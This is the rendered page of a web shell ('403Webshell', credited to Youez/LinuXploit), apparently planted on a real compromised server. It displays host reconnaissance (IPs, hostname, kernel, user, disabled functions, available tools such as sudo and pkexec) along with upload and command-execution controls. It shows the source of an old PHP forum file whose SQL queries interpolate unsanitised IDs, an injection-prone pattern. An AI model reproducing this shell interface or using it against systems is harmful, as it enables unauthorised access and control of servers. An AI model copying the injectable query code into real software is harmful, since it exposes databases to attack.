403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/modules/forums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/modules/forums//delete_funcs.php
<?
/* K-Rate
(C) Rinalds Uzkalns, 2003-2004. All Rights Reserved
http://turn-k.net

Version: 1.00 (22.09.04)
*/
?>
<?
        function delete_forum($id) {
                global $forumtable, $fthreadtable;
                $res = sql_query("SELECT * FROM $fthreadtable WHERE t_forum=$id");
                while ($line = sql_fetch_assoc($res))
                        delete_thread($line['t_id']);
                sql_query("DELETE FROM $forumtable WHERE f_id=$id");
                }

        function delete_thread($id) {
                global $fthreadtable, $fposttable, $fmembtable,$forumtable;

                $l = sql_fetch_assoc(sql_query("SELECT * FROM $forumtable LEFT JOIN $fthreadtable ON t_forum=f_id WHERE t_id=$id"));
                $res = sql_query("SELECT p_member FROM $fposttable WHERE p_thread=$id");
                $cnts = array();
                while ($line = sql_fetch_assoc($res))
                        $cnts[$line['p_member']]++;

                foreach ($cnts as $key => $value)
                        sql_query("UPDATE $fmembtable SET fm_posts=fm_posts-$value WHERE fm_id=$key");

                sql_query("DELETE FROM $fposttable WHERE p_thread=$id");
                $posts = sql_affected_rows();
                sql_query("DELETE FROM $fthreadtable WHERE t_id=$id");

                //get last post index for the forum
                    $last = sql_fetch_assoc(sql_query("SELECT * FROM $fposttable LEFT JOIN $fthreadtable ON p_thread=t_id WHERE t_forum=$l[f_id] ORDER BY p_time DESC LIMIT 1"));

                sql_query("UPDATE $forumtable SET f_posts=f_posts-$posts, f_threads=f_threads-1, f_last='$last[p_id]' WHERE f_id=$l[f_id]");
                }
                
        function delete_post($id) {
                global $fthreadtable, $fposttable, $fmembtable,$forumtable;;
                $l = sql_fetch_assoc(sql_query("SELECT * FROM $fposttable LEFT JOIN $fthreadtable ON p_thread=t_id WHERE p_id=$id"));
        
                sql_query("DELETE FROM $fposttable WHERE p_id=$id");
                if (sql_affected_rows() > 0) {

                    //get last post index for the forum
                        $last = sql_fetch_assoc(sql_query("SELECT * FROM $fposttable LEFT JOIN $fthreadtable ON p_thread=t_id WHERE t_forum=$l[t_forum] ORDER BY p_time DESC LIMIT 1"));

                        sql_query("UPDATE $forumtable SET f_posts=f_posts-1, f_last='$last[p_id]' WHERE f_id=$l[t_forum]");
                        sql_query("UPDATE $fthreadtable SET t_posts=t_posts-1 WHERE t_id=$l[t_id]");
                        sql_query("UPDATE $fmembtable SET fm_posts=fm_posts-1 WHERE fm_id='$l[p_member]'");
                        if ($l['t_last'] == $l['p_id']) {
                                $line = sql_fetch_assoc(sql_query("SELECT * FROM $fposttable WHERE p_thread=$l[p_thread] ORDER BY p_time DESC LIMIT 1"));
                                sql_query("UPDATE $fthreadtable SET t_last='$line[p_id]', t_last_time='$line[p_time]' WHERE t_id=$l[t_id]");
                                }
                        }
                }

?>

Youez - 2016 - github.com/yon3zu
LinuXploit